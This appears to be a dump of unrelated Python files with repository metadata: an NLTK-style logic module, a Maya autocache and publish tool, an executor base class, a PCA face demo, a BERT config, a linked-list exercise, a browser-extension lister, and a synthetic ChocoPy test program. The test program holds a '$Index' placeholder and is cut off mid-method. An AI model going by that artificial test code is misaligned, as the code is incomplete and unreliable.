return combinator([function(self.term)])
def negate(self):
""":see: Expression.negate()"""
return self.term
def __eq__(self, other):
return isinstance(other, NegatedExpression) and self.term == other.term
def __ne__(self, other):
return not self == other
__hash__ = Expression.__hash__
def __str__(self):
return Tokens.NOT + "%s" % self.term
@python_2_unicode_compatible
class BinaryExpression(Expression):
def __init__(self, first, second):
assert isinstance(first, Expression), "%s is not an Expression" % first
assert isinstance(second, Expression), "%s is not an Expression" % second
self.first = first
self.second = second
@property
def type(self): return TRUTH_TYPE
def findtype(self, variable):
""":see Expression.findtype()"""
assert isinstance(variable, Variable), "%s is not a Variable" % variable
f = self.first.findtype(variable)
s = self.second.findtype(variable)
if f == s or s == ANY_TYPE:
return f
elif f == ANY_TYPE:
return s
else:
return ANY_TYPE
def visit(self, function, combinator):
""":see: Expression.visit()"""
return combinator([function(self.first), function(self.second)])
def __eq__(self, other):
return (isinstance(self, other.__class__) or \
isinstance(other, self.__class__)) and \
self.first == other.first and self.second == other.second
def __ne__(self, other):
return not self == other
__hash__ = Expression.__hash__
def __str__(self):
first = self._str_subex(self.first)
second = self._str_subex(self.second)
return Tokens.OPEN + first + ' ' + self.getOp() \
+ ' ' + second + Tokens.CLOSE
def _str_subex(self, subex):
return "%s" % subex
class BooleanExpression(BinaryExpression):
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
if not other_type.matches(TRUTH_TYPE):
raise IllegalTypeException(self, other_type, TRUTH_TYPE)
self.first._set_type(TRUTH_TYPE, signature)
self.second._set_type(TRUTH_TYPE, signature)
class AndExpression(BooleanExpression):
"""This class represents conjunctions"""
def getOp(self):
return Tokens.AND
def _str_subex(self, subex):
s = "%s" % subex
if isinstance(subex, AndExpression):
return s[1:-1]
return s
class OrExpression(BooleanExpression):
"""This class represents disjunctions"""
def getOp(self):
return Tokens.OR
def _str_subex(self, subex):
s = "%s" % subex
if isinstance(subex, OrExpression):
return s[1:-1]
return s
class ImpExpression(BooleanExpression):
"""This class represents implications"""
def getOp(self):
return Tokens.IMP
class IffExpression(BooleanExpression):
"""This class represents biconditionals"""
def getOp(self):
return Tokens.IFF
class EqualityExpression(BinaryExpression):
"""This class represents equality expressions like "(x = y)"."""
def _set_type(self, other_type=ANY_TYPE, signature=None):
""":see Expression._set_type()"""
assert isinstance(other_type, Type)
if signature is None:
signature = defaultdict(list)
if not other_type.matches(TRUTH_TYPE):
raise IllegalTypeException(self, other_type, TRUTH_TYPE)
self.first._set_type(ENTITY_TYPE, signature)
self.second._set_type(ENTITY_TYPE, signature)
def getOp(self):
return Tokens.EQ
### Utilities
class LogicalExpressionException(Exception):
def __init__(self, index, message):
self.index = index
Exception.__init__(self, message)
class UnexpectedTokenException(LogicalExpressionException):
def __init__(self, index, unexpected=None, expected=None, message=None):
if unexpected and expected:
msg = "Unexpected token: '%s'. " \
"Expected token '%s'." % (unexpected, expected)
elif unexpected:
msg = "Unexpected token: '%s'." % unexpected
if message:
msg += ' '+message
else:
msg = "Expected token '%s'." % expected
LogicalExpressionException.__init__(self, index, msg)
class ExpectedMoreTokensException(LogicalExpressionException):
def __init__(self, index, message=None):
if not message:
message = 'More tokens expected.'
LogicalExpressionException.__init__(self, index, 'End of input found. ' + message)
def is_indvar(expr):
"""
An individual variable must be a single lowercase character other than 'e',
followed by zero or more digits.
:param expr: str
:return: bool True if expr is of the correct form
"""
assert isinstance(expr, string_types), "%s is not a string" % expr
return re.match(r'^[a-df-z]\d*$', expr) is not None
def is_funcvar(expr):
"""
A function variable must be a single uppercase character followed by
zero or more digits.
:param expr: str
:return: bool True if expr is of the correct form
"""
assert isinstance(expr, string_types), "%s is not a string" % expr
return re.match(r'^[A-Z]\d*$', expr) is not None
def is_eventvar(expr):
"""
An event variable must be a single lowercase 'e' character followed by
zero or more digits.
:param expr: str
:return: bool True if expr is of the correct form
"""
assert isinstance(expr, string_types), "%s is not a string" % expr
return re.match(r'^e\d*$', expr) is not None
def demo():
lexpr = Expression.fromstring
print('='*20 + 'Test reader' + '='*20)
print(lexpr(r'john'))
print(lexpr(r'man(x)'))
print(lexpr(r'-man(x)'))
print(lexpr(r'(man(x) & tall(x) & walks(x))'))
print(lexpr(r'exists x.(man(x) & tall(x) & walks(x))'))
print(lexpr(r'\x.man(x)'))
print(lexpr(r'\x.man(x)(john)'))
print(lexpr(r'\x y.sees(x,y)'))
print(lexpr(r'\x y.sees(x,y)(a,b)'))
print(lexpr(r'(\x.exists y.walks(x,y))(x)'))
print(lexpr(r'exists x.x = y'))
print(lexpr(r'exists x.(x = y)'))
print(lexpr('P(x) & x=y & P(y)'))
print(lexpr(r'\P Q.exists x.(P(x) & Q(x))'))
print(lexpr(r'man(x) <-> tall(x)'))
print('='*20 + 'Test simplify' + '='*20)
print(lexpr(r'\x.\y.sees(x,y)(john)(mary)').simplify())
print(lexpr(r'\x.\y.sees(x,y)(john, mary)').simplify())
print(lexpr(r'all x.(man(x) & (\x.exists y.walks(x,y))(x))').simplify())
print(lexpr(r'(\P.\Q.exists x.(P(x) & Q(x)))(\x.dog(x))(\x.bark(x))').simplify())
print('='*20 + 'Test alpha conversion and binder expression equality' + '='*20)
e1 = lexpr('exists x.P(x)')
print(e1)
e2 = e1.alpha_convert(Variable('z'))
print(e2)
print(e1 == e2)
def demo_errors():
print('='*20 + 'Test reader errors' + '='*20)
demoException('(P(x) & Q(x)')
demoException('((P(x) &) & Q(x))')
demoException('P(x) -> ')
demoException('P(x')
demoException('P(x,')
demoException('P(x,)')
demoException('exists')
demoException('exists x.')
demoException('\\')
demoException('\\ x y.')
demoException('P(x)Q(x)')
demoException('(P(x)Q(x)')
demoException('exists x -> y')
def demoException(s):
try:
Expression.fromstring(s)
except LogicalExpressionException as e:
print("%s: %s" % (e.__class__.__name__, e))
def printtype(ex):
print("%s : %s" % (ex.str(), ex.type))
if __name__ == '__main__':
demo()
# demo_errors()
|
[
"madewild@ulb.ac.be"
] |
madewild@ulb.ac.be
|
16e751e65cdf7cb6c2c235034da4adfbe96cebaa
|
bc0e530056755e3211f87f0ab96424eabfe06b74
|
/src/calabash/scripts/calabash/animUtils.py
|
aacf4e8549c0d975190f6763110dc2582432431a
|
[] |
no_license
|
thomasjmoore/Calabash-Tools
|
739ee30e274f0df6558db565c24fd531bead1db0
|
a229943649582cb2229fc44fe18bd1bd2ea410b8
|
refs/heads/master
| 2021-05-09T16:19:29.548165 | 2020-07-29T16:35:13 | 2020-07-29T16:35:13 | 119,112,417 | 1 | 2 | null | 2018-11-28T16:54:58 | 2018-01-26T23:00:03 |
Python
|
UTF-8
|
Python
| false | false | 12,502 |
py
|
import pymel.core as pm
import maya.cmds as cmds
import pymel.mayautils as pu
import os
import re
from PySide2 import QtWidgets
from maya.app.general.mayaMixin import MayaQWidgetDockableMixin
import increaseVersion
import fileUtils
import shutil
# Convert Ui file from Designer to a python module
# run this in script editor
'''
import sys, pprint
from pyside2uic import compileUi
Ui_File = 'DoItMkr_ui'
scripts_path = "I:\GoogleDrive\Scripts\Pipeline"
pyfile = open("{0}.py".format(os.path.join(scripts_path, Ui_File)), 'w')
compileUi("{0}.ui".format(os.path.join(scripts_path, Ui_File)), pyfile, False, 4,False)
pyfile.close()
'''
# Run this in script editor to open the UI
'''
import sys
scripts_path = "I:\GoogleDrive\Scripts\Pipeline"
sys.path.append(scripts_path)
import DoItMkr as DoIt
reload(DoIt)
'''
# import converted ui file.
from pipeman import anim_autocache_ui as ui_file
reload(ui_file)
scripts_path = os.path.join(pu.getMayaAppDir(), 'modules', 'calabash', 'scripts')
class myGui(MayaQWidgetDockableMixin, QtWidgets.QDialog):
file_path = pm.system.sceneName()
animroot, filename = os.path.split(file_path)
shot_dir = os.path.dirname(animroot)
#scene_dir = '_'.join(file_path.split('/')[:3])
shot_name = filename.split('.')[0].replace('_anim', '')
anim_dir = os.path.join(shot_dir, 'anim').replace('\\', '/')
cache_dir = os.path.join(anim_dir, 'publish').replace('\\', '/')
light_dir = os.path.join(shot_dir, 'render')
DoIt_fileName = 'autocache_{0}'.format(shot_name)
DoIt_dir = os.path.join(shot_dir)
def __init__(self, parent=None):
super(self.__class__, self).__init__(parent=parent)
self.ui = ui_file.Ui_mainUI()
self.ui.setupUi(self)
######## CONNECT UI ELEMENTS AND FUNCTIONS BELOW HERE #########
self.ui.lineEdit_Path_Anim.setText(self.anim_dir)
self.ui.lineEdit_Path_DoIt.setText(self.DoIt_dir)
self.ui.lineEdit_FrameStart.setText(str(int(pm.playbackOptions(q=True, minTime=True))))
self.ui.lineEdit_FrameEnd.setText(str(int(pm.playbackOptions(q=True, maxTime=True))))
if os.path.exists(os.path.join(self.animroot, 'publish')):
if os.path.exists(self.cache_dir):
self.ui.lineEdit_Path_Pub.setText(self.cache_dir)
else:
os.mkdir(self.cache_dir)
self.ui.lineEdit_Path_Pub.setText(self.cache_dir)
else:
self.ui.lineEdit_Path_Pub.setText('<No publish folder found>')
self.ui.pushButton_Browse_Anim.clicked.connect(self.set_dir_anim)
self.ui.pushButton_Browse_Pub.clicked.connect(self.set_dir_pub)
self.ui.pushButton_Browse_DoIt.clicked.connect(self.set_dir_bat)
self.ui.pushButton_AddTargets.clicked.connect(self.add_targets)
self.ui.pushButton_DoIt.clicked.connect(self.DoIt)
def set_dir_anim(self):
anim_dir = pm.windows.promptForFolder()
self.ui.lineEdit_Path_Anim.setText(anim_dir)
def set_dir_pub(self):
cache_dir = pm.windows.promptForFolder()
self.ui.lineEdit_Path_Pub.setText(cache_dir)
def set_dir_bat(self):
bat_dir = pm.windows.promptForFolder()
self.ui.lineEdit_Path_DoIt.setText(bat_dir)
targets = []
def add_targets(self):
self.ui.listWidget_targets.clear()
self.targets = []
sel = pm.ls(sl=1)
for item in sel:
item = pm.PyNode(item)
self.targets.append((item, item.fullPath()))
print 'add_target:', item.fullPath()
target_item = QtWidgets.QListWidgetItem(self.ui.listWidget_targets)
target_item.setText(str(item.fullPath()))
def DoIt(self):
def validate(path, scene_name, mode):
if os.path.exists(path):
listDir = os.listdir(path)
for file in listDir:
if re.match('{0}_{1}.([0-9]+).ma'.format(scene_name, mode), file):
return True
else:
return False
anim = self.ui.lineEdit_Path_Anim.text()
cache = self.ui.lineEdit_Path_Pub.text()
frame_range = (self.ui.lineEdit_FrameStart.text(), self.ui.lineEdit_FrameEnd.text())
if not validate(anim, self.shot_name, 'anim'):
result = pm.confirmDialog(
title='Invalid Path',
message='Path not found or no scene files matching {0}?'.format(
os.path.join(anim, '{0}_{1}.###.ma'.format(self.shot_name, 'anim'))),
button=['Close'],
defaultButton='Close',
cancelButton='Close',
dismissString='Close',
)
return
DoIt_dict = {
'scene_name': self.shot_name,
'anim_dir': anim,
'cache_dir': cache,
'frame_range': frame_range,
'targets': {
}
}
for target, target_dag in self.targets:
target_ns = str(target).split(':')[0]
DoIt_dict['targets'][str(target)] = (str(target), target_ns, target_dag)
print 'add target to dict:', target, target_ns, target_dag
DoIt_script = 'import maya.standalone\n' \
'maya.standalone.initialize(name="python")\n' \
'import sys\n' \
'import pymel.mayautils as pu\n' \
'scripts_path = os.path.join(pu.getMayaAppDir(), "modules", "calabash", "scripts")\n' \
'sys.path.append(scripts_path)\n' \
'from pipeman import anim_autocache as anim_autocache\n' \
'DoIt_dict = {0}\n' \
'anim_autocache.run(DoIt_dict)'.format(DoIt_dict)
DoIt_bat = '"{0}" "{1}.py"'.format(r"C:\Program Files\Autodesk\Maya2018\bin\mayapy.exe",
os.path.join(self.ui.lineEdit_Path_DoIt.text(), 'autocache', self.DoIt_fileName))
if len(self.targets) > 0:
bat_fileName = '{0}.bat'.format(os.path.join(self.ui.lineEdit_Path_DoIt.text(), 'autocache', self.DoIt_fileName))
DoIt_scriptName = '{0}.py'.format(os.path.join(self.ui.lineEdit_Path_DoIt.text(), 'autocache', self.DoIt_fileName))
print self.DoIt_fileName
if not os.path.exists(os.path.join(self.ui.lineEdit_Path_DoIt.text(), 'autocache')):
os.mkdir(os.path.join(self.ui.lineEdit_Path_DoIt.text(), 'autocache'))
with open(bat_fileName, 'w') as bat_write:
bat_write.write(DoIt_bat)
print 'bat write successful!', bat_fileName
with open(DoIt_scriptName, 'w') as DoIt_scriptWrite:
DoIt_scriptWrite.write(DoIt_script)
print 'Script write successful!', DoIt_scriptName
else:
print 'No Targets Set!'
######## CONNECT UI ELEMENTS AND FUNCTIONS ABOVE HERE #########
def deleteControl(self, control):
if pm.workspaceControl(control, q=True, exists=True):
pm.workspaceControl(control, e=True, close=True)
pm.deleteUI(control, control=True)
def run(self):
# Set Ui's name
self.setObjectName('autocache_ui')
# Explictly define workspacecontrol name
workspaceControlName = self.objectName() + 'WorkspaceControl'
# delete existing controls
self.deleteControl(workspaceControlName)
# show as floating window initially, last position and float state is retained between execution
self.show(dockable=True, floating=True)
# not sure what e argument means
pm.workspaceControl(workspaceControlName, e=True, ih=150)
def publishAnim():
file_path = pm.system.sceneName()
animroot, filename = os.path.split(file_path)
# basename, ver, ext = filename.split('.')
# nonver = '{0}.{1}'.format(basename, ext)
publish_dir = os.path.join(animroot, 'publish')
result = pm.promptDialog(
title='Leave a comment',
message=' What did you do? ',
button=['OK'],
defaultButton='OK',
)
comment = pm.promptDialog(query=True, text=True)
#pm.system.saveFile(force=True)
if not os.path.exists(publish_dir):
os.mkdir(publish_dir)
if increaseVersion.versionUp():
shutil.copy2(file_path, os.path.join(publish_dir, filename))
fileUtils.changelog(animroot, filename, comment)
def ouroboros():
"""
Ouroboros, the snake that eats its own tail
"""
# Ouroboros exports a camera from an anim scene, the references it back in
#planned feature: remove display layers
#remove imageplanes before export, remake imageplanes on rereference
locdata = fileUtils.get_location()
assetroot, filename = locdata['assetroot_filename']
dev_dir = locdata['dev_dir']
basename, ver, ext = locdata['basename_ver_ext']
print 'basename, ver, ext:', basename, ver, ext
def getLatest(path, basename):
print 'getting latest {0} file'.format(basename)
if os.listdir(path):
for n in os.listdir(path):
if basename in n:
basename, ver, ext = n.split('.')
return '%03d' % (int(ver) + 1)
else:
return '001'
basename = '_'.join(basename.split('_')[:-1])
exp_basename = "{0}_cam".format(basename)
camversion_path = os.path.join(assetroot, 'cam')
if not os.path.exists(camversion_path):
os.mkdir(camversion_path)
camversion = getLatest(camversion_path, exp_basename)
abc_vname = '{0}.{1}.abc'.format(exp_basename, camversion)
exp_vname = '{0}.{1}.mb'.format(exp_basename, camversion)
abc_refname = '{0}.abc'.format(exp_basename)
exp_refname = '{0}.mb'.format(exp_basename)
abc_vpath = os.path.join(assetroot, 'cam', abc_vname)
cam_vpath = os.path.join(assetroot, 'cam', exp_vname)
abc_refpath = os.path.join(dev_dir, abc_refname)
cam_refpath = os.path.join(dev_dir, exp_refname)
f_start = int(pm.playbackOptions(min=True, q=True))
f_end = int(pm.playbackOptions(max=True, q=True))
print 'camversion_path:', camversion_path
print 'camversion:', camversion
print 'exp_vname:', exp_vname
print 'exp_refname:', exp_refname
print 'cam_vpath', cam_vpath
print 'cam_refpath:', cam_refpath
sel = pm.ls(sl=True)
cameras = pm.listRelatives(sel, ad=True, type='camera')
camera_trans = pm.listRelatives(cameras[0], p=True)[0]
command = '-fr {0} {1} ' \
'-worldspace ' \
'-rt {3} ' \
'-file {2}'.format(f_start, f_end, abc_vpath, camera_trans)
print command
cmds.AbcExport(j=command)
shutil.copy2(abc_vpath, abc_refpath)
for node in sel:
if pm.referenceQuery(node, isNodeReferenced=True):
print "This is a ref'd node, I'll import it without namespaces, export a version to anim/cams, and then export to shot root"
refnode = pm.referenceQuery(node, referenceNode=True)
pm.system.FileReference(refnode).importContents(removeNamespace=True)
pm.select(clear=True)
pm.select(node)
pm.exportSelected(cam_vpath,
channels=True,
expressions=True,
type='mayaBinary'
)
shutil.copyfile(cam_vpath, cam_refpath)
pm.system.createReference(cam_refpath, namespace='CAM')
pm.delete(node)
else:
print "This is a local camera, I'll export it to anim/cams, and to shot root. Then I will reference it in, and delete the local camera"
pm.select(clear=True)
pm.select(node)
pm.exportSelected(cam_vpath,
channels=True,
expressions=True,
type='mayaBinary'
)
shutil.copyfile(cam_vpath, cam_refpath)
pm.system.createReference(cam_refpath, namespace='CAM')
pm.delete(node)
def next_version(scene_file):
current_version = int(scene_file.split('.')[0].split('_')[-1])
scene_name = scene_file.split('.')[0].rstrip('_%03d' % (current_version))
next_version = '%03d' % (current_version + 1)
return '{0}_{1}.ma'.format(scene_name, next_version)
autocache_gui = myGui()
|
[
"youngstuart12@gmail.com"
] |
youngstuart12@gmail.com
|
42e669632d907f6abfa4d452c7f6c0d7800b9a63
|
0a6b5fcde7f9d37b182e780201aedeeab533180e
|
/src/executor.py
|
3326ad7ac8c63e4f0156142f0ef083028427c8a3
|
[] |
no_license
|
GuyBol/raspremote-server
|
7e8a6286b0a6b3e9a9594da85067758fb31b1f64
|
6ee667bf9430f6f11ec03f65b33b59a6e15961fb
|
refs/heads/master
| 2022-04-01T06:40:15.211831 | 2020-01-25T16:08:23 | 2020-01-25T16:08:23 | 107,022,368 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 818 |
py
|
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
class Executor:
''' Base class to execute any query '''
def __init__(self):
self.result = {}
def process(self, request):
'''
Entry point to process a request.
Return True if processed OK.
'''
if not request.json:
return self.process_without_json()
else:
return self.process_with_json(request.json)
def process_without_json(self):
''' Process a request without json data in input '''
# Default implem (set error)
self.error = 400
return False
def process_with_json(self, json):
''' Process a request with json data in input '''
# Default implem (set error)
self.error = 400
return False
|
[
"tanguy.maltaverne@gmail.com"
] |
tanguy.maltaverne@gmail.com
|
57e22be4d102c46b36053002f0e09e027786d335
|
cfb06e1d413cdbb8a2ce3e6276ed3aba096fcb87
|
/Two_IntroductionML/pca_afternoon.py
|
bed45b4f5d1df78acb27959c9f00670388c46bf5
|
[] |
no_license
|
MerlinQueen/IAB_AI
|
cd746a1963cafb989769b35d25719128a01cb4a4
|
9a5cf309ec77ccb02e16f6ecd97b39139c5fb6f6
|
refs/heads/master
| 2020-09-22T16:57:53.556964 | 2019-12-25T08:13:47 | 2019-12-25T08:13:47 | 225,271,191 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,138 |
py
|
# %%
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
# ๅฏผๅ
ฅไบบ่ธ่ฏๅซๆฐๆฎ้
from sklearn.datasets import fetch_lfw_people
# ๅฏผๅ
ฅsklearnไธญPCAๅฝๆฐ
from sklearn.decomposition import PCA
# %%
# ๆฅ็ๆฐๆฎ้็ๆฐๆฎ็ปๆ,
faces = fetch_lfw_people()
print(faces.data.shape)
# ๆๆฐๆฎ้็จไบ็ปดๅนณ้ขๅฏ่งๅๅฑ็คบ
faces.images.shape
# %%
# ้ๆบ่ทๅ36ๅผ ไบบ่ธ,permutationๅบๅ,ๆๅบ
np.random.seed(10)
random_indexs = np.random.permutation(len(faces.data))
X = faces.data[random_indexs]
data_faces = X[:36,:]
data_faces.shape
# %%
# ็ปๅถ่ฟไบไบบ่ธ
def plot_digits(data):
fig,axes = plt.subplots(6,6,figsize=(10,10),subplot_kw={'xticks':[],'yticks':[]},gridspec_kw=dict(hspace=0.1,wspace=0.1))
for i,ax in enumerate(axes.flat):
ax.imshow(data[i].reshape(62,47),cmap='bone')
plot_digits(data_faces)
# %%
# ่ฏปๅ่ธๅฏนๅบ็ไบบๅ
faces.target_names
# ่ทๅๆปไบบๆฐ
len(faces.target_names)
# %%
# ้ๆบๆนๅผๆฑๅPCA
X,y = faces.data,faces.target
pca = PCA(svd_solver='auto')
pca.fit(X)
# %%
plot_digits(pca.components_)
# print(pca.components_.shape)
# %%
|
[
"1131357029@qq.com"
] |
1131357029@qq.com
|
b532081aaa769fc56e4142beaeafe9cc3c22fc13
|
ff4ab3a8aac4d26534d1d980f85f7b4ca3e0905b
|
/config.py
|
b909dff713e1be51064f9d8b0ab0d5244ecb1a54
|
[] |
no_license
|
pandeynandancse/Named_Entity_Reognition_BERT
|
be19db084079d035a59356cdf6ede8153f856055
|
a6205240d312f6ca02b3ef5c8cc34512126815f0
|
refs/heads/master
| 2022-11-29T09:33:32.747433 | 2020-08-11T15:54:51 | 2020-08-11T15:54:51 | 286,786,451 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 444 |
py
|
import transformers
MAX_LEN = 128
TRAIN_BATCH_SIZE = 32
VALID_BATCH_SIZE = 8
EPOCHS = 10
BASE_MODEL_PATH = "../input/bert_base_uncased"
MODEL_PATH = "model.bin"
TRAINING_FILE = "../input/ner_dataset.csv"
#also can grab tokenizer from tokenizers library that is also from hugging face
TOKENIZER = transformers.BertTokenizer.from_pretrained(
BASE_MODEL_PATH,
do_lower_case=True # set to true becoz we are using bert uncased
)
|
[
"root@localhost.localdomain"
] |
root@localhost.localdomain
|
b17d5447ec129a74fcbb4326a1296662f4da0b92
|
11abb8a59931081a879391fcf5878be714488ed2
|
/Remove Duplicates from Sorted List.py
|
2d6c3097c6581d96a382ce7200db6dc96136d8ac
|
[] |
no_license
|
liuwanping/leetcode-problems-python-solutions
|
b7bb9f755ad9a221cddcde0c30177392c70e3553
|
c4ae2be3f4107c5e2123b6bd642fb950ae4bee4d
|
refs/heads/master
| 2021-09-15T05:37:50.774751 | 2018-05-27T03:05:02 | 2018-05-27T03:05:02 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 700 |
py
|
class ListNode(object):
def __init__(self, x):
self.val = x
self.next = None
def deleteDuplicates(head):
"""
:type head: ListNode
:rtype: ListNode
"""
# solution 1:
if head==None or head.next==None:
return head
p=ListNode(0)
q=ListNode(0)
p=head
q=head.next
while p:
q=p.next
while q!=None and p.val==q.val:
q=q.next
p.next=q
p=q
return head
# solution2
current=ListNode(0)
current=head
while head!=None and head.next!=None:
if head.val==head.next.val:
head.next=head.next.next
else:
head=head.next
return current
|
[
"1342324774@qq.com"
] |
1342324774@qq.com
|
92477a74ddf7368251f5eb84629ddfdceae7e660
|
c53106868c12b4dd560b0ee8b96608eee63732f4
|
/extension_finder/Finder.py
|
18d5f31765bb889a335a6430362245d4a2af7834
|
[] |
no_license
|
security-geeks/extension_finder
|
c4ed057cee79beea5af02f461c4d180f6387af5e
|
df004639f30e45633e9c14d2762bb6d2cb8bc63c
|
refs/heads/master
| 2021-01-15T10:34:38.563360 | 2016-06-14T18:16:25 | 2016-06-14T18:16:25 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,023 |
py
|
"""
Finder.py -
@brad_anton
Simple Script to identify which browser extensions are installed on a system.
"""
import platform
from tabulate import tabulate
from Constants import MacBrowsers, WinBrowsers
from Browsers.Chrome import Chrome
from Browsers.InternetExplorer import InternetExplorer
class Finder:
def __init__(self, directory=None):
operating_system = platform.system()
self.os = None
if operating_system == 'Darwin':
self.os = MacBrowsers
elif operating_system == 'Windows':
self.os = WinBrowsers
else:
print "[!] Unsupported Operating System!!"
return
def print_extensions(self):
c = Chrome(self.os)
print tabulate(c.extensions(), headers="keys")
if self.os == WinBrowsers:
i = InternetExplorer(self.os)
print tabulate(i.extensions(), headers="keys")
if __name__ == '__main__':
f = Finder()
f.print_extensions()
|
[
"brad.antonie@gmail.com"
] |
brad.antonie@gmail.com
|
40d23b8838346a3e4a87b40138e312ce3ea359e5
|
82e4c59edacae23578eb7fe38aad390d94010e84
|
/pythagoreanTriplets.py
|
986a491c680f067c4e34fbcf7a602147e4b23b34
|
[] |
no_license
|
ankitam2030/Python-files
|
d50226021e7c923180dcd5c5aa9cf6dda09b7224
|
7c1a52b9302b217fed021b61e3dc0b60087574dc
|
refs/heads/main
| 2023-08-19T19:10:12.982091 | 2021-10-26T16:38:08 | 2021-10-26T16:38:08 | 412,736,071 | 0 | 7 | null | 2021-10-04T15:47:52 | 2021-10-02T08:24:01 |
Python
|
UTF-8
|
Python
| false | false | 503 |
py
|
import math
allPythagoreanTriplets = []
def findPythagoreanTriplets(limit):
c,m = 0,2
global allPythagoreanTriplets
while c < limit:
for n in range(1, m):
a = m**2 - n**2
b = 2*m*n
c = m**2 + n**2
allPythagoreanTriplets.append([a,b,c])
if a + b + c == limit:
return [a, b, c]
m += 1
product = 1
for i in findPythagoreanTriplets(1000):
product *= i
print(product)
|
[
"noreply@github.com"
] |
ankitam2030.noreply@github.com
|
ffa2ae378f1565ed2e05a6f4d0a4a43f0bf68c78
|
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
|
/cases/synthetic/sieve-big-1095.py
|
05e4945e404661ab2c9357d6ed718b6d3fb30b48
|
[] |
no_license
|
Virtlink/ccbench-chocopy
|
c3f7f6af6349aff6503196f727ef89f210a1eac8
|
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
|
refs/heads/main
| 2023-04-07T15:07:12.464038 | 2022-02-03T15:42:39 | 2022-02-03T15:42:39 | 451,969,776 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 31,742 |
py
|
# A resizable list of integers
class Vector(object):
items: [int] = None
size: int = 0
def __init__(self:"Vector"):
self.items = [0]
# Returns current capacity
def capacity(self:"Vector") -> int:
return len(self.items)
# Increases capacity of vector by one element
def increase_capacity(self:"Vector") -> int:
self.items = self.items + [0]
return self.capacity()
# Appends one item to end of vector
def append(self:"Vector", item: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends many items to end of vector
def append_all(self:"Vector", new_items: [int]) -> object:
item:int = 0
for item in new_items:
self.append(item)
# Removes an item from the middle of vector
def remove_at(self:"Vector", idx: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Retrieves an item at a given index
def get(self:"Vector", idx: int) -> int:
return self.items[idx]
# Retrieves the current size of the vector
def length(self:"Vector") -> int:
return self.size
# A resizable list of integers
class Vector2(object):
items: [int] = None
items2: [int] = None
size: int = 0
size2: int = 0
def __init__(self:"Vector2"):
self.items = [0]
# Returns current capacity
def capacity(self:"Vector2") -> int:
return len(self.items)
# Returns current capacity
def capacity2(self:"Vector2") -> int:
return len(self.items)
# Increases capacity of vector by one element
def increase_capacity(self:"Vector2") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity2(self:"Vector2") -> int:
self.items = self.items + [0]
return self.capacity()
# Appends one item to end of vector
def append(self:"Vector2", item: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append2(self:"Vector2", item: int, item2: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends many items to end of vector
def append_all(self:"Vector2", new_items: [int]) -> object:
item:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all2(self:"Vector2", new_items: [int], new_items2: [int]) -> object:
item:int = 0
item2:int = 0
for item in new_items:
self.append(item)
# Removes an item from the middle of vector
def remove_at(self:"Vector2", idx: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at2(self:"Vector2", idx: int, idx2: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = $Index
idx = idx + 1
self.size = self.size - 1
# Retrieves an item at a given index
def get(self:"Vector2", idx: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get2(self:"Vector2", idx: int, idx2: int) -> int:
return self.items[idx]
# Retrieves the current size of the vector
def length(self:"Vector2") -> int:
return self.size
# Retrieves the current size of the vector
def length2(self:"Vector2") -> int:
return self.size
# A resizable list of integers
class Vector3(object):
items: [int] = None
items2: [int] = None
items3: [int] = None
size: int = 0
size2: int = 0
size3: int = 0
def __init__(self:"Vector3"):
self.items = [0]
# Returns current capacity
def capacity(self:"Vector3") -> int:
return len(self.items)
# Returns current capacity
def capacity2(self:"Vector3") -> int:
return len(self.items)
# Returns current capacity
def capacity3(self:"Vector3") -> int:
return len(self.items)
# Increases capacity of vector by one element
def increase_capacity(self:"Vector3") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity2(self:"Vector3") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity3(self:"Vector3") -> int:
self.items = self.items + [0]
return self.capacity()
# Appends one item to end of vector
def append(self:"Vector3", item: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append2(self:"Vector3", item: int, item2: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append3(self:"Vector3", item: int, item2: int, item3: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends many items to end of vector
def append_all(self:"Vector3", new_items: [int]) -> object:
item:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all2(self:"Vector3", new_items: [int], new_items2: [int]) -> object:
item:int = 0
item2:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all3(self:"Vector3", new_items: [int], new_items2: [int], new_items3: [int]) -> object:
item:int = 0
item2:int = 0
item3:int = 0
for item in new_items:
self.append(item)
# Removes an item from the middle of vector
def remove_at(self:"Vector3", idx: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at2(self:"Vector3", idx: int, idx2: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
